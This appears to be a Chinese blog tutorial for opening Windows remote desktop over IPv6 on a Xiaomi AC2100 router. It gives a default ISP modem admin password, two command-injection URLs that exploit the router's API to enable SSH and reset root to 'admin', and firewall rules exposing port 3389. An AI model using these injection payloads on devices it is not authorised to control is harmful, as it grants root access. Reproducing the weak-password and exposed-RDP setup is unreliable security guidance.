Win10 IPv6 遠端桌面連線(小米路由器)

CV大使發表於2021-08-03

背景

由於家裡是移動網,且懶得向運營商要公網IPv4,所以想著用IPv6試一下。 家裡的環境是這樣的:

  • 寬頻用的是移動的,沒有公網IPv4,但經過測試發現IPv6是公網的
  • 上網通過光貓撥號,而不是通過路由器
  • 路由器是小米AC2100

光貓更改為橋接模式

路由器必須要通過PPPoE撥號,如果是光貓撥號,那麼要找對應的維護人員輔助你把光貓改成橋接模式。通過PPPoE撥號路由器就能夠拿到公網的IPv6網段,也就可以給底下的其他服務分配公網IPv6了。而如果是光貓撥號,那麼只有路由器可以拿到公網的IP。其他的裝置就是路由器給的內網IP了。

現在,你需要進入光貓後臺管理頁面:192.168.1.1,如果打不開,那麼要連到光貓的無線上或者通過有線連線。 在這裡插入圖片描述 後臺管理頁面的賬號是:CMCCAdmin,密碼是:aDm8H%MdA。通過這個賬號進去才是超級管理員。 在這裡插入圖片描述 像上面這樣配置之後,光貓就是橋接模式了。(不過我實際操作的時候,是不行的,需要在這個頁面的時間管理欄裡面輸入對應的密碼才能夠開啟。如果不行的話,可以問一下對應的維修人員。) 有一點要注意的是,繫結選線裡面我選了LAN1,是因為我路由器是和光貓的LAN1口連在一起的。

路由器通過PPPoE撥號

接下來需要在路由器上通過PPPoE撥號。路由器的後臺管理頁面是192.168.31.1,輸入密碼後就可以進入。在常用設定-上網設定裡面選擇PPPoE撥號,輸入賬號密碼即可。如果是通過手機號辦的寬頻,賬號就是手機號,密碼是手機號後六位。 至此,你應該可以正常上網了。開啟電腦的CMD,輸入ipconfig,看到下面那一長串的IPv6就對了,要注意不能是fe80開頭的,否則還是內網的IPv6地址 在這裡插入圖片描述 這個時候你可以進入http://test-ipv6.com/index.html.zh_CN來檢測你的IPv6是不是真的公網IPv6。檢測報告大概是下面這個樣子,裡面的紅框部分和你本地看到的是一樣的就是沒有問題的,說明是公網IPv6。 注:我這裡不一樣是因為對外使用了臨時IPv6的地址,也就是上面紅框下面一欄裡面寫的,這個臨時IPv6的地址是會改變的,所以沒有關係。 在這裡插入圖片描述

路由器開放IPv6埠

由於小米的路由器對IPv6的支援不是很好,所以很多功能是被閹割的。目前,除了AX3600AX1800兩款路由器外,其他的路由器都是關閉IPv6防火牆的,也就是說,你無法在外網連線到你的IPv6裝置。而且,路由器的後臺管理頁面不支援關閉這個防火牆,這也是比較坑的地方。 現在,唯一的解決辦法是ssh到路由器上,然後手動開啟特定埠。

開啟路由器ssh服務

那麼,第一步是通過漏洞開啟路由器的ssh服務。

使用管理密碼登入管理頁面

管理頁面登入後位址列連結應為: http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/web/home#router PS: 和小白同學解釋下,<STOK>是代表你登入後自動生成的那一長串資料,每個人都不一樣,用於替換下一步中的連結中部分。

一步到位漏洞注入

在瀏覽器位址列中輸入以下連結程式碼,注意替換掉<STOK>部分,否則無效:

http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B
複製程式碼

返回{"code":0}即代表成功,其實成不成功都會返回這個:)注意傳參順序及指令前後都要有一個分號,即%3B

如果返回401錯誤,原因可能是版本不正確或者<STOK>值錯誤或者連結輸入不完整等,提示404錯誤,說明輸入地址錯誤,請檢查韌體版本或連結地址... 建議一鍵注入後需等待一些時間,保證路由器後臺能正確處理注入資訊後再重啟, 重啟即可開啟SSH,root密碼請自行根據SN計算;不想計算的或不知道怎麼計算的,可以看下一步

更改管理員root密碼 (可跳過)

root賬號不想用初始密碼的執行下面的程式碼改密碼為admin,在瀏覽器位址列中輸入以下連結程式碼,注意替換掉部分(有時stok值會發生改變,建議重新返回1.2.1步驟複製最新的stok值)

http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20echo%20-e%20'admin%5Cnadmin'%20%7C%20passwd%20root%3B
複製程式碼

通過ssh連線

你可以通過這個教程來了解如何開啟ssh服務,本文不再贅述,如果已經開過了,那麼可以忽略這一步。 現在開啟CMD,輸入ssh root@192.168.31.1,可能會提示下面這個,如果沒有就忽略。這一步輸入yes即可。

The authenticity of host '192.168.31.1 (192.168.31.1)' can't be established.
RSA key fingerprint is SHA256:qHze6P9W8lfNXL2+IFRWAOA5QXS/YpJZwKL5Ft7Qe1I.
Are you sure you want to continue connecting (yes/no/[fingerprint])?
複製程式碼

下一步會提示root@192.168.31.1's password:,這一步是讓你輸入密碼,輸入剛剛設定的密碼admin即可進入,出現如下資訊代表成功。PS:中間那一大串是Are You OK,是雷總的經典名言。

BusyBox v1.25.1 (2020-09-21 11:44:18 UTC) built-in shell (ash)

 -----------------------------------------------------
       Welcome to XiaoQiang!
 -----------------------------------------------------
  $$$$$$\  $$$$$$$\  $$$$$$$$\      $$\      $$\        $$$$$$\  $$\   $$\
 $$  __$$\ $$  __$$\ $$  _____|     $$ |     $$ |      $$  __$$\ $$ | $$  |
 $$ /  $$ |$$ |  $$ |$$ |           $$ |     $$ |      $$ /  $$ |$$ |$$  /
 $$$$$$$$ |$$$$$$$  |$$$$$\         $$ |     $$ |      $$ |  $$ |$$$$$  /
 $$  __$$ |$$  __$$< $$  __|        $$ |     $$ |      $$ |  $$ |$$  $$<
 $$ |  $$ |$$ |  $$ |$$ |           $$ |     $$ |      $$ |  $$ |$$ |\$$\
 $$ |  $$ |$$ |  $$ |$$$$$$$$\       $$$$$$$$$  |       $$$$$$  |$$ | \$$\
 \__|  \__|\__|  \__|\________|      \_________/        \______/ \__|  \__|


root@XiaoQiang:~#
複製程式碼

至此,你已經進入了路由器的後臺頁面。接下來就是開啟埠對映了

開啟特定埠對映

在剛剛的控制檯頁面輸入如下兩條命令,按回車即可執行。這一步是開啟3389埠,因為預設遠端連線的埠號就是3389。如果你有特殊的需求,如使用NAS,那麼你可以更改裡面的埠號。

ip6tables -I forwarding_rule -p tcp --dport 3389 -j ACCEPT
ip6tables -I forwarding_rule -p udp --dport 3389 -j ACCEPT
複製程式碼

當然,這種方式在重啟後就失效了,所以我們應該將其配置為開機自啟動。 在命令號輸入vi /etc/rc.local,看到如下頁面

# Put your custom commands here that should be executed once
# the system init finished. By default this file does nothing.

exit 0
~

- /etc/rc.local 1/7 14%
複製程式碼

這是linux的編輯頁面,輸入i進入編輯模式,將剛剛兩段話加在exit 0的前面,結果如下:

# Put your custom commands here that should be executed once
# the system init finished. By default this file does nothing.

ip6tables -I forwarding_rule -p tcp --dport 3389 -j ACCEPT
ip6tables -I forwarding_rule -p udp --dport 3389 -j ACCEPT

exit 0
~
- /etc/rc.local 1/7 14%
複製程式碼

隨後按ESC退出編輯模式,輸入:wq並回車即可儲存並退出。現在,你就可以使用遠端連線了,Enjoy~

相關文章